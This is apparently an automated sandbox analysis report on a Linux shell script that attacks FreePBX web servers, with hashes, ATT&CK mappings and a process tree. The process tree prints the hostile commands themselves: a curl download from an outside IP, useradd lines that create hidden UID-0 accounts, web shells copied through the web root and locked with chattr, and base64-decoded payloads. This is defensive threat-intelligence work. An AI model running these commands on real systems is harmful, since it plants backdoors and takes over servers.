40542ae4acd96f5b8a3e250d5ff7e52002d9f0a3dcc53c18135723f15fd15242

Analysis

max time kernel
134s
max time network
67s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/06/2026, 07:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
k.php.sh
Size 44KB
Sample260618-jqaenaf13k
SHA256 40542ae4acd96f5b8a3e250d5ff7e52002d9f0a3dcc53c18135723f15fd15242
MD5 466de0180ebe5b0bc7ac7b26cd3c5092
SHA1 05c6036a43613b509e96f933492a64cde45449eb
SHA512 0bdba9685270efcfd77771a8d2041fb3fb6ecf3976ddb360e53ec130d27f41fd256ea3825fa2e712e860dccd9629d29d3610cb941bee255d8992c0c3e8b06524
SSDEEP 768:Cm+b9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnx:v+sco
TLSH
T1EA138D6956857C24AE99883B1C7E2F0CB9A983E1310851EDBFCB3CF58C496DCD219B1D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

antivm credential_access defense_evasion discovery persistence

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 8 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
822	chmod

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 4 IoCs

pid	Process
799	useradd
803	useradd
783	useradd
791	useradd

Deobfuscate/Decode Files or Information 1 TTPs 7 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
843	base64
781	base64
789	base64
797	base64
801	base64
828	base64
838	base64

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 34 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/test.sh	k.php.sh

/tmp/k.php.sh
/tmp/k.php.sh
1⤵
- Writes file to tmp directory
PID:643
- /bin/bash
  bash
  2⤵
  PID:651
- /usr/bin/curl
  curl http://160.119.69.4/x -ks
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:650
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:779
- /bin/bash
  bash
  2⤵
  PID:782
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:783
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:784
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:785
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:786
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:787
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:781
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:789
- /bin/bash
  bash
  2⤵
  PID:790
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    - Reads runtime system information
    PID:791
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:792
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:793
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:794
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:795
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:797
- /bin/bash
  bash
  2⤵
  PID:798
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:799
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:801
- /bin/bash
  bash
  2⤵
  PID:802
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:803
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:804
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:805
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:806
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  - Reads runtime system information
  PID:807
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:808
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:809
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
  2⤵
  - Reads runtime system information
  PID:810
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
  2⤵
  - Reads runtime system information
  PID:811
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:812
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
  2⤵
  - Reads runtime system information
  PID:813
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
  2⤵
  - Reads runtime system information
  PID:814
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
  2⤵
  - Reads runtime system information
  PID:815
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
  2⤵
  - Reads runtime system information
  PID:816
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
  2⤵
  - Reads runtime system information
  PID:817
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
  2⤵
  - Reads runtime system information
  PID:818
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:819
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:823
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:824
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:825
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:826
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:828
- /bin/bash
  bash /tmp/test.sh
  2⤵
  PID:829
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:832
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:833
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:834
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:835
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:836
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:838
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:839
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:840
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:841
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:843
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:844
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:845
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:846
- /bin/rm
  rm -rf /tmp/test.sh
  2⤵
  PID:847
- /bin/bash
  bash /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:850
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:851

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 1KB
SHA256 7804a9bf801c95d7fc06aa3f9fc86d79c830ab728773e47c97039ae10503e411
MD5 402c4c78cd05ab84e54fd6c3afcecd4a
SHA1 e4efe63dfbf9a214ffac9960704408ab47632626
SHA512 6885ace9fe605c9bd8ff126682c954bc09f786b52d8b96556426fde1be8882e8cd86fe3b6ab2cee3bed26e1fa1e28f41494351e7a096297187c651760a3ae6f6
TLSH
T111314920032990BC9CC1E85A111F7FD414EC78D14A79FB2DDC7BA144EC9BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 1a9fa1774e7cef8530dada15004b2ca577ec490967c73215576c462845d0b3dc
MD5 796251e44d89beefde52524c5fdff5c3
SHA1 4e8ca04b0aa8476e9bb7b491527461b52feb7393
SHA512 f05fd9f7551b736a8c8729bad8b0bf177818a41449393f35a99496aa7873b580387d5605dac00f61e9294acda6eddfb54bc4ad942418af57fcdfa406c9238899
TLSH
T1D3315A10032990BC9DC1E85A111F7FD414EC78E14A79FB2DD87BA140EC8BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 949B
SHA256 73b16563f023e79196e9d8b5d768014cd9d6373d15157cd91894b81f5c87556d
MD5 fb87fde3a0db76aa85ab3a4f7a438690
SHA1 525bffba185f7ca57f1279cfd140eef89687706d
SHA512 0abacb4656c9c45d85efcb62f9b31eafbe96dffbf7eabae40d8ad35744435cf409352e0e38c5c0f4f50ec9fcca2c2ad17dab08d764ef8174c0e6c124ef6af3a7
TLSH
T16C116280A33CFC5843D650DD659602D9D6EB6C750274C58FC86789734EB48E51719CB6
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 909B
SHA256 baebe70edd8e459cd3b857772447bd031a97b24c0e5dad6e258df61d006c51b9
MD5 81c899f66a2b1da7aa5dea30f82496ac
SHA1 0f6467ae7a0506dcc98666b1fb2a3e15c1e12a96
SHA512 14f40ff3b7ef09c2d9a7d1de93c7c93556b195e3fca084a0d301c6333ba53ded4e386935cd53c7b4fca033d83ebbd5f3f4370f91d82bc2dc097795a27a6be6e5
TLSH
T11E117080A33CFC5843E510DD619202D9D6EB6C3502B8C18FC82789734EB48E61719CB6
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 59B
SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
MD5 5c9e3004d1697716b1cb75f242c2beea
SHA1 5f0a26471d327b6e2fe3fb5e495b6b193da2e7f2
SHA512 e6fb56cb30f70aa40b4a8d328240748c45e8810f88c606b4573f30cad9db820dc7d0ecc8d7cc784fe386f58f9095adde0131c605bd1a5417e887ca0b81d406ff
TLSH
T1CCA002000217A1C0C1D35504440D93AD312175D3D4C0B868C254E55606B05714450251
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 39B
SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
MD5 d706ba86b3fd8589ecb5aa198e1e3cbf
SHA1 12fc273031b205c1527045d5c923d657378802f5
SHA512 ddbf918aaaa0b2914f7a39b6d9f6824d99232bc53491cdf931bc683ae54400b05a7eaa2667c752279e9f45fbd30279ac596acbbbc523abad69d21c156f58b1d0
MD5 SHA1 SHA512

Submit Download

test.sh

Path /tmp/test.sh
Size 12KB
SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
MD5 8f7541228c408eb56be12b0e084f80ef
SHA1 7075c8d6693cfaa96ecb5b8bf1685100f89ed753
SHA512 3cb80a5b751c5d29216af3363315845409bfdcad53fa21d24bfe8ed6fdabc28065223dfbc84e23ff66cb0cb3b22f9ae11de0ca240905324d76a8cdc4231d898d
SSDEEP 384:zro/A8C1cJlJoro/A8C1cJlJqro/A8C1cJlJrrA:eJlJLJnrA
TLSH
T15342D783466F6175A2093FEB58FC6F9C7BE68B4E34E2282525163DA8018DD0FD4B4A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads